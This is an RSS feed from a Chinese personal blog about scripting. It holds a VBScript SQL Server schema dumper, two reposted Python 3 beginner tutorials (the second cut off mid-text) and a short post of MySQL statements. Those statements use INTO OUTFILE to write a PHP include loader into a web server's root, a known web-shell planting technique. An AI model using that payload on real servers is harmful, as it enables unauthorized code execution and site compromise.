<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[樱花浪子'S BLOG]]></title> 
<link>http://hacklu.net/blog/index.php</link> 
<description><![CDATA[叶的飘落是风的追求，还是树的不挽留。]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[樱花浪子'S BLOG]]></copyright>
<item>
<link>http://hacklu.net/blog/post/874/</link>
<title><![CDATA[Jsp连接各数据库脚本]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 25 Aug 2010 02:05:26 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/874/</guid> 
<description>
<![CDATA[ 
	sp连接各数据库脚本<br/><br/>附件中有。<br/><br/>包含：Orecal、SQL Server、DB2、Informix、Sybase、Mysql、PostgreSQL数据库连接脚本。<br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a><br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a><br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a><br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a><br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a><br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a><br/><br/>这个文件只能在登入之后下载。请先 <a href="http://hacklu.net/blog/login.php?job=register">注册</a> 或 <a href="http://hacklu.net/blog/login.php">登入</a>
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/868/</link>
<title><![CDATA[【SQL获取表结构】show_table.vbs （冰点极限NP）]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Mon, 23 Aug 2010 02:14:10 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/868/</guid> 
<description>
<![CDATA[ 
	set arg=wscript.arguments<br/>If arg.count = 0 Then<br/>show_help()<br/>wsh.quit<br/>End If<br/>Server = arg(0)<br/>User&nbsp;&nbsp; = arg(1)<br/>pass&nbsp;&nbsp; = arg(2)<br/>database_name = arg(3)<br/>table_name = arg(4)<br/>set Conn = CreateObject(&quot;ADODB.Connection&quot;)<br/>Conn.Open &quot;Driver=&#123;SQL Server&#125;;Server=&quot; &amp; Server &amp; &quot;;UID=&quot; &amp; User &amp; &quot;;PWD=&quot; &amp; Pass &amp; &quot;;Database=&quot; &amp; database_name<br/>Set rs = conn.execute(&quot;select count(*) as n from &quot; &amp; database_name &amp; &quot;.dbo.sysobjects where id = object_id(N&#039;[dbo].[&quot; &amp; table_name &amp; &quot;]&#039;)&quot;)<br/>if rs(&quot;n&quot;) &lt;=0 Then<br/>wsh.echo &quot;table have???&quot;<br/>wsh.quit<br/>End If<br/>sql1=&quot;use &quot; &amp;database_name &amp; &quot;;select count(column_name) from information_schema.columns where table_name=&#039;&quot; &amp; table_name &amp; &quot;&#039;&quot;<br/>set rs1=conn.execute(sql1)<br/>num = rs1(0)<br/>rs1.close<br/>Set rs1 = Nothing<br/>i = 1<br/>sql2=&quot;use &quot; &amp;database_name &amp; &quot;;select column_name,data_type,IS_NULLABLE,character_octet_length,collation_name,domain_name from information_schema.columns where table_name=&#039;&quot; &amp; table_name &amp; &quot;&#039; order by ordinal_position&quot;<br/>&#039;wsh.echo sql2<br/><br/>set rs2=conn.execute (sql2)<br/>wsh.echo &quot;if exists (select * from dbo.sysobjects where id = object_id(N&#039;[dbo].[&quot; &amp; table_name &amp; &quot;]&#039;) and OBJECTPROPERTY(id, N&#039;IsUserTable&#039;) = 1)&quot;<br/>wsh.echo &quot;drop table [dbo].[&quot; &amp; table_name &amp; &quot;]&quot;<br/>wsh.echo &quot;GO&quot;<br/>wsh.echo &quot;CREATE TABLE [dbo].[&quot; &amp; table_name &amp; &quot;] (&quot;<br/>do while not rs2.eof<br/>col_dn = rs2(&quot;domain_name&quot;)<br/>col_name = rs2(&quot;column_name&quot;)<br/>col_type = rs2(&quot;data_type&quot;)<br/>col_len = rs2(&quot;character_octet_length&quot;)<br/>col_an&nbsp;&nbsp; = rs2(&quot;collation_name&quot;)<br/>col_is&nbsp;&nbsp; = rs2(&quot;IS_NULLABLE&quot;)<br/>sql = chr(9)&amp;&quot;[&quot; &amp; col_name &amp; &quot;] &quot;<br/>If col_dn = &quot;id&quot; Then<br/>sql = sql &amp; col_dn &amp;&quot; &quot;<br/>Else<br/>&nbsp;&nbsp;<br/>sql = sql &amp; &quot;[&quot; &amp; col_type &amp; &quot;] &quot;<br/>If col_len &lt;&gt; &quot;&quot; Then<br/>&nbsp;&nbsp; sql = sql &amp; &quot;(&quot; &amp; col_len &amp; &quot;) &quot;<br/>End If<br/>If col_an &lt;&gt; &quot;&quot; Then<br/>&nbsp;&nbsp; sql = sql &amp; &quot;COLLATE &quot; &amp; col_an<br/>End If<br/>End If<br/><br/><br/>If col_is = &quot;No&quot; Then<br/>sql = sql &amp; &quot; NOT NULL &quot;<br/>Else<br/>sql = sql &amp; &quot; NULL &quot;<br/>End If<br/>If i = num Then<br/>sql = sql &amp; Chr(13)&amp;Chr(10)&amp;&quot;) ON [PRIMARY]&quot;<br/>Else<br/>sql = sql &amp; &quot;,&quot;<br/>End If<br/>i = i +1<br/>wsh.echo sql<br/>rs2.movenext<br/>loop<br/>wsh.echo &quot;GO&quot;<br/>rs2.close<br/>Set rs2 = Nothing<br/>conn.close<br/>Set conn=Nothing<br/>Sub show_help()<br/>wsh.echo &quot;code by N37P47ch &quot;<br/>wsh.echo &quot;cscript show_table.vbs ip user pass database table&quot;<br/>End Sub
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/852/</link>
<title><![CDATA[php的include ]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 11 Aug 2010 16:28:27 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/852/</guid> 
<description>
<![CDATA[ 
	Drop TABLE IF EXISTS a;<br/>Create TABLE a (cmd text NOT NULL);<br/>Insert INTO a (cmd) VALUES(&#039;&lt;?php include &quot;c:/windows/temp/x.php&quot;;?&gt;&#039;);<br/>select cmd from a into outfile &#039;C://AppServ//www//q.php&#039;;<br/>Drop TABLE IF EXISTS a;<br/><br/><br/><br/> SELECT &#039;&lt;?php include &quot;c:/windows/temp/x.php&quot;;?&gt;&#039; INTO OUTFILE &#039;C://AppServ//www//abcde.php&#039; 
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/772/</link>
<title><![CDATA[ Python 3 教程二:文件和路径访问[转]]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 10 Jun 2009 04:13:31 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/772/</guid> 
<description>
<![CDATA[ 
	 Python 3 教程二:文件和路径访问[转]<br/>1 遍历文件夹和文件<br/><br/>import&nbsp;&nbsp;os<br/>import&nbsp;&nbsp;os.path<br/>#&nbsp;&nbsp;os,os.path里包含大多数文件访问的函数,所以要先引入它们.<br/>#&nbsp;&nbsp;请按照你的实际情况修改这个路径<br/>rootdir&nbsp;&nbsp;=&nbsp;&nbsp; &quot; d:/download &quot;<br/>for&nbsp;&nbsp;parent, dirnames, filenames&nbsp;&nbsp;in&nbsp;&nbsp;os.walk(rootdir):<br/>&nbsp;&nbsp;&nbsp;&nbsp; # case 1:<br/>&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp;dirname&nbsp;&nbsp;in&nbsp;&nbsp;dirnames:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print&nbsp;&nbsp;( &quot; parent is: &quot;&nbsp;&nbsp; +&nbsp;&nbsp;parent)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print&nbsp;&nbsp;( &quot; dirname is: &quot;&nbsp;&nbsp; +&nbsp;&nbsp;dirname)<br/>&nbsp;&nbsp;&nbsp;&nbsp; # case 2<br/>&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp;filename&nbsp;&nbsp;in&nbsp;&nbsp;filenames:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print&nbsp;&nbsp;( &quot; parent is: &quot;&nbsp;&nbsp; +&nbsp;&nbsp;parent)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print&nbsp;&nbsp;( &quot; filename with full path : &quot;&nbsp;&nbsp; +&nbsp;&nbsp;os.path.join(parent, filename))<br/><br/>&#039;&#039;&#039; 知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.walk返回一个三元组.其中dirnames是所有文件夹名字(不包含路径),filenames是所有文件的名字(不包含路径).parent表示父目录.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* case1 演示了如何遍历所有目录.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* case2 演示了如何遍历所有文件.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.path.join(dirname,filename) : 将形如&quot;/a/b/c&quot;和&quot;d.java&quot;变成/a/b/c/d.java&quot;.<br/>&#039;&#039;&#039;<br/><br/> <br/><br/> <br/>2 分割路径和文件名<br/><br/> <br/>import&nbsp;&nbsp;os.path<br/># 常用函数有三种:分隔路径,找出文件名.找出盘符(windows系统),找出文件的扩展名.<br/># 根据你机器的实际情况修改下面参数.<br/>spath = &quot; D:/download/repository.7z &quot;<br/><br/>#&nbsp;&nbsp;case 1:<br/>p,f = os.path.split(spath);<br/>print ( &quot; dir is: &quot; + p)<br/>print ( &quot; file is: &quot; + f)<br/><br/>#&nbsp;&nbsp;case 2:<br/>drv,left = os.path.splitdrive(spath);<br/>print ( &quot; driver is: &quot; + drv)<br/>print ( &quot; left is: &quot; + left)<br/>#&nbsp;&nbsp;case 3:<br/>f,ext = os.path.splitext(spath);<br/>print ( &quot; f is: &quot; + f)<br/>print ( &quot; ext is: &quot; + ext)<br/>&#039;&#039;&#039;<br/>&nbsp;&nbsp;&nbsp;&nbsp;知识点:&nbsp;&nbsp;&nbsp;&nbsp;这三个函数都返回二元组.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* case1 分隔目录和文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;* case2 分隔盘符和文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;* case3 分隔文件和扩展名<br/>&#039;&#039;&#039;<br/><br/><br/><br/>总结:5个函数<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.walk(spath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.path.split(spath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.path.splitdrive(spath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.path.splitext(spath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;* os.path.join(path1,path2)<br/><br/> <br/>3 实战:文件备份小程序<br/><br/> <br/>import&nbsp;&nbsp;os<br/>import&nbsp;&nbsp;shutil<br/>import&nbsp;&nbsp;datetime<br/><br/>&#039;&#039;&#039;<br/>作用：将目录备份到其他路径。<br/>实际效果：<br/>假设给定目录&quot;/media/data/programmer/project/python&quot; ，<br/>备份路径&quot;/home/diegoyun/backup/“ ，<br/>则会将python目录备份到备份路径下，形如：<br/>/home/diegoyun/backup/yyyymmddHHMMSS/python/xxx/yyy/zzz..<br/><br/>用法:更改这两个参数.<br/>backdir:备份目的地.<br/>copydirs:想要备份的文件夹.<br/>&#039;&#039;&#039;<br/><br/><br/>def&nbsp;&nbsp;mainLogic():<br/>&nbsp;&nbsp;&nbsp;&nbsp; # add dirs you want to copy<br/>&nbsp;&nbsp;&nbsp;&nbsp;backdir = &quot; d:&#92;&#92;test &quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp; print (backdir)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;copydirs = []<br/>&nbsp;&nbsp;&nbsp;&nbsp;copydirs.append( &quot; d:&#92;&#92;temp &quot; );<br/>&nbsp;&nbsp;&nbsp;&nbsp; # copydirs.append(&quot;d:&#92;&#92;test&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; Copying files&nbsp;&nbsp;=================== &quot; )<br/>&nbsp;&nbsp;&nbsp;&nbsp;start = datetime.datetime.now()<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; # gen a data folder for backup<br/>&nbsp;&nbsp;&nbsp;&nbsp;backdir = os.path.join(backdir,start.strftime( &quot; %Y-%m-%d &quot; ))<br/>&nbsp;&nbsp;&nbsp;&nbsp; # print(&quot;backdir is:&quot;+backdir)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;kc = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp;d&nbsp;&nbsp;in&nbsp;&nbsp;copydirs:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kc = kc + copyFiles(d,backdir)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;end = datetime.datetime.now()<br/>&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; Finished! =================== &quot; )<br/>&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; Total files :&nbsp;&nbsp;&quot;&nbsp;&nbsp; +&nbsp;&nbsp;str(kc) )<br/>&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; Elapsed time :&nbsp;&nbsp;&quot;&nbsp;&nbsp; +&nbsp;&nbsp;str((end - start).seconds) + &quot;&nbsp;&nbsp;seconds &quot; )<br/><br/>def&nbsp;&nbsp;copyFiles(copydir,backdir):<br/>&nbsp;&nbsp;&nbsp;&nbsp;prefix = getPathPrefix(copydir)<br/>&nbsp;&nbsp;&nbsp;&nbsp; # print(&quot;prefix is:&quot;+prefix )&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;i = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp;dirpath,dirnames,filenames&nbsp;&nbsp;in&nbsp;&nbsp;os.walk(copydir):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for&nbsp;&nbsp;name&nbsp;&nbsp;in&nbsp;&nbsp;filenames:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oldpath = os.path.join(dirpath,name)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newpath = omitPrefix(dirpath,prefix)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; backdir is: &quot; + backdir )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newpath = os.path.join(backdir,newpath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; newpath is: &quot; + newpath)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if&nbsp;&nbsp;os.path.exists(newpath) != True:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os.makedirs(newpath)&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newpath = os.path.join(newpath,name)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print ( &quot; From: &quot; + oldpath + &quot;&nbsp;&nbsp;to: &quot; + newpath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;shutil.copyfile(oldpath,newpath)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i = i + 1<br/>&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp;i&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>def&nbsp;&nbsp;getPathPrefix(fullpath):<br/>&nbsp;&nbsp;&nbsp;&nbsp; # Giving /media/data/programmer/project/ , get the prefix<br/>&nbsp;&nbsp;&nbsp;&nbsp; # /media/data/programmer/<br/>&nbsp;&nbsp;&nbsp;&nbsp;l = fullpath.split(os.path.sep)<br/>&nbsp;&nbsp;&nbsp;&nbsp; # print(str(l[-1]==&quot;&quot;)&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; if&nbsp;&nbsp;l[ - 1 ] == &quot;&quot; :<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp = l[ - 2 ]<br/>&nbsp;&nbsp;&nbsp;&nbsp; else :<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp = l[ - 1 ]<br/>&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp;fullpath[0:len(fullpath) - len(tmp) - 1 ]<br/><br/>def&nbsp;&nbsp;omitPrefix(fullpath,prefix):<br/>&nbsp;&nbsp;&nbsp;&nbsp; # Giving /media/data/programmer/project/python/tutotial/file/test.py ,<br/>&nbsp;&nbsp;&nbsp;&nbsp; # and prefix is Giving /media/data/programmer/project/,<br/>&nbsp;&nbsp;&nbsp;&nbsp; # return path as python/tutotial/file/test.py<br/>&nbsp;&nbsp;&nbsp;&nbsp; return&nbsp;&nbsp;fullpath[len(prefix) + 1 :]<br/><br/>mainLogic()
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/771/</link>
<title><![CDATA[Python 3 教程一:入门[转]]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[脚本语言]★]]></category>
<pubDate>Wed, 10 Jun 2009 04:11:56 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/771/</guid> 
<description>
<![CDATA[ 
	 Python 3 教程一:入门[转]<br/><br/>Python已经是3.1版本了,与时俱进更新教程.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* 本文适合有Java编程经验的程序员快速熟悉Python<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 本文程序在windows xp+python3.1a1 测试通过.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 本文提到的idle指python shell,即安装python后你在菜单看到的IDLE(python gui)<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 在idle里ctrl+n可以打开一个新窗口,输入源码后ctrl+s可以保存,f5运行程序.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 凡打开新窗口即指ctrl+n的操作.<br/><br/> <br/>1 你好<br/>#打开新窗口,输入:<br/><br/>#! /usr/bin/python<br/># -*- coding: utf8 -*- <br/><br/><br/>s1=input(&quot;Input your name:&quot;)<br/>print(&quot;你好,%s&quot; % s1)<br/><br/>&#039;&#039;&#039;<br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* input(&quot;某字符串&quot;)函数:显示&quot;某字符串&quot;,并等待用户输入.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* print()函数:如何打印.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 如何应用中文<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 如何用多行注释<br/>&#039;&#039;&#039;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/><br/>2 字符串和数字<br/><br/>但有趣的是,在javascript里我们会理想当然的将字符串和数字连接,因为是动态语言嘛.但在Python里有点诡异,如下:<br/>#! /usr/bin/python<br/><br/>a=2<br/>b=&quot;test&quot;<br/>c=a+b<br/><br/><br/>运行这行程序会出错,提示你字符串和数字不能连接,于是只好用内置函数进行转换<br/>#! /usr/bin/python<br/>#运行这行程序会出错,提示你字符串和数字不能连接,于是只好用内置函数进行转换<br/>a=2<br/>b=&quot;test&quot;<br/>c=str(a)+b<br/>d=&quot;1111&quot;<br/>e=a+int(d)<br/>#How to print multiply values<br/>print (&quot;c is %s,e is %i&quot; % (c,e))<br/>&#039;&#039;&#039;<br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* 用int和str函数将字符串和数字进行转换<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 打印以#开头,而不是习惯的//<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 打印多个参数的方式<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#039;&#039;&#039;<br/><br/><br/>3 列表<br/>#! /usr/bin/python<br/># -*- coding: utf8 -*-<br/>#列表类似Javascript的数组,方便易用<br/><br/>#定义元组<br/>word=[&#039;a&#039;,&#039;b&#039;,&#039;c&#039;,&#039;d&#039;,&#039;e&#039;,&#039;f&#039;,&#039;g&#039;]<br/><br/>#如何通过索引访问元组里的元素<br/>a=word[2]<br/>print (&quot;a is: &quot;+a)<br/>b=word[1:3]<br/>print (&quot;b is: &quot;)<br/>print (b) # index 1 and 2 elements of word.<br/>c=word[:2]<br/>print (&quot;c is: &quot;)<br/>print (c) # index 0 and 1 elements of word.<br/>d=word[0:]<br/>print (&quot;d is: &quot;)<br/>print (d) # All elements of word.<br/><br/>#元组可以合并<br/>e=word[:2]+word[2:]<br/>print (&quot;e is: &quot;)<br/>print (e) # All elements of word.<br/>f=word[-1]<br/>print (&quot;f is: &quot;)<br/>print (f) # The last elements of word.<br/>g=word[-4:-2]<br/>print (&quot;g is: &quot;)<br/>print (g) # index 3 and 4 elements of word.<br/>h=word[-2:]<br/>print (&quot;h is: &quot;)<br/>print (h) # The last two elements.<br/>i=word[:-2]<br/>print (&quot;i is: &quot;)<br/>print (i) # Everything except the last two characters<br/>l=len(word)<br/>print (&quot;Length of word is: &quot;+ str(l))<br/>print (&quot;Adds new element&quot;)<br/>word.append(&#039;h&#039;)<br/>print (word)<br/><br/>#删除元素<br/>del word[0]<br/>print (word)<br/>del word[1:3]<br/>print (word)<br/><br/>&#039;&#039;&#039;<br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* 列表长度是动态的,可任意添加删除元素.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 用索引可以很方便访问元素,甚至返回一个子列表<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 更多方法请参考Python的文档<br/>&#039;&#039;&#039;<br/><br/><br/>4 字典<br/>#! /usr/bin/python<br/><br/>x=&#123;&#039;a&#039;:&#039;aaa&#039;,&#039;b&#039;:&#039;bbb&#039;,&#039;c&#039;:12&#125;<br/>print (x[&#039;a&#039;])<br/>print (x[&#039;b&#039;])<br/>print (x[&#039;c&#039;])<br/><br/>for key in x:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (&quot;Key is %s and value is %s&quot; % (key,x[key]))<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#039;&#039;&#039;<br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* 将他当Java的Map来用即可.<br/><br/>&#039;&#039;&#039;<br/><br/><br/>5 字符串<br/><br/>比起C/C++,Python处理字符串的方式实在太让人感动了.把字符串当列表来用吧.<br/>#! /usr/bin/python<br/><br/>word=&quot;abcdefg&quot;<br/>a=word[2]<br/>print (&quot;a is: &quot;+a)<br/>b=word[1:3]<br/>print (&quot;b is: &quot;+b) # index 1 and 2 elements of word.<br/>c=word[:2]<br/>print (&quot;c is: &quot;+c) # index 0 and 1 elements of word.<br/>d=word[0:]<br/>print (&quot;d is: &quot;+d) # All elements of word.<br/>e=word[:2]+word[2:]<br/>print (&quot;e is: &quot;+e) # All elements of word.<br/>f=word[-1]<br/>print (&quot;f is: &quot;+f) # The last elements of word.<br/>g=word[-4:-2]<br/>print (&quot;g is: &quot;+g) # index 3 and 4 elements of word.<br/>h=word[-2:]<br/>print (&quot;h is: &quot;+h) # The last two elements.<br/>i=word[:-2]<br/>print (&quot;i is: &quot;+i) # Everything except the last two characters<br/>l=len(word)<br/>print (&quot;Length of word is: &quot;+ str(l))<br/><br/><br/>中文和英文的字符串长度是否一样?<br/>#! /usr/bin/python<br/># -*- coding: utf8 -*- <br/><br/>s=input(&quot;输入你的中文名,按回车继续&quot;);<br/>print (&quot;你的名字是&nbsp;&nbsp;: &quot; +s)<br/><br/>l=len(s)<br/>print (&quot;你中文名字的长度是:&quot;+str(l))<br/><br/><br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* 类似Java,在python3里所有字符串都是unicode,所以长度一致.<br/><br/> <br/>6 条件和循环语句<br/><br/>#! /usr/bin/python<br/>#条件和循环语句<br/><br/>x=int(input(&quot;Please enter an integer:&quot;))<br/>if x&lt;0:<br/>&nbsp;&nbsp;&nbsp;&nbsp;x=0<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (&quot;Negative changed to zero&quot;)<br/><br/>elif x==0:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (&quot;Zero&quot;)<br/><br/>else:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (&quot;More&quot;)<br/><br/><br/># Loops List<br/>a = [&#039;cat&#039;, &#039;window&#039;, &#039;defenestrate&#039;]<br/>for x in a:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (x, len(x))<br/><br/>#知识点:<br/><br/>#&nbsp;&nbsp;&nbsp;&nbsp;* 条件和循环语句<br/>#&nbsp;&nbsp;&nbsp;&nbsp;* 如何得到控制台输入<br/><br/><br/>7 函数<br/>#! /usr/bin/python<br/># -*- coding: utf8 -*- <br/><br/>def sum(a,b):<br/>&nbsp;&nbsp;&nbsp;&nbsp;return a+b<br/><br/><br/>func = sum<br/>r = func(5,6)<br/>print (r)<br/><br/># 提供默认值<br/>def add(a,b=2):<br/>&nbsp;&nbsp;&nbsp;&nbsp;return a+b<br/>r=add(1)<br/>print (r)<br/>r=add(1,5)<br/>print (r)<br/><br/><br/>一个好用的函数<br/>#! /usr/bin/python<br/># -*- coding: utf8 -*- <br/><br/># The range() function<br/>a =range (1,10)<br/>for i in a:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>a = range(-2,-11,-3) # The 3rd parameter stands for step<br/>for i in a:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print (i)<br/><br/><br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* Python 不用&#123;&#125;来控制程序结构,他强迫你用缩进来写程序,使代码清晰.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 定义函数方便简单<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 方便好用的range函数<br/><br/><br/>8 异常处理<br/><br/> <br/>#! /usr/bin/python<br/>s=input(&quot;Input your age:&quot;)<br/>if s ==&quot;&quot;:<br/>&nbsp;&nbsp;&nbsp;&nbsp;raise Exception(&quot;Input must no be empty.&quot;)<br/><br/>try:<br/>&nbsp;&nbsp;&nbsp;&nbsp;i=int(s)<br/>except ValueError:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Could not convert data to an integer.&quot;)<br/>except:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Unknown exception!&quot;)<br/>else: # It is useful for code that must be executed if the try clause does not raise an exception<br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;You are %d&quot; % i,&quot; years old&quot;)<br/>finally: # Clean up action<br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;Goodbye!&quot;)<br/><br/> <br/>9 文件处理<br/><br/>对比Java,python的文本处理再次让人感动<br/>#! /usr/bin/python<br/><br/>spath=&quot;D:/download/baa.txt&quot;<br/>f=open(spath,&quot;w&quot;) # Opens file for writing.Creates this file doesn&#039;t exist.<br/>f.write(&quot;First line 1.&#92;n&quot;)<br/>f.writelines(&quot;First line 2.&quot;)<br/><br/>f.close()<br/><br/>f=open(spath,&quot;r&quot;) # Opens file for reading<br/><br/>for line in f:<br/>&nbsp;&nbsp;&nbsp;&nbsp;print(&quot;每一行的数据是:%s&quot;%line)<br/><br/>f.close()<br/><br/><br/>知识点:<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;* open的参数:r表示读,w写数据,在写之前先清空文件内容,a打开并附加内容.<br/>&nbsp;&nbsp;&nbsp;&nbsp;* 打开文件之后记得关闭<br/><br/> <br/>10 类和继承<br/>class Base:<br/>&nbsp;&nbsp;&nbsp;&nbsp;def 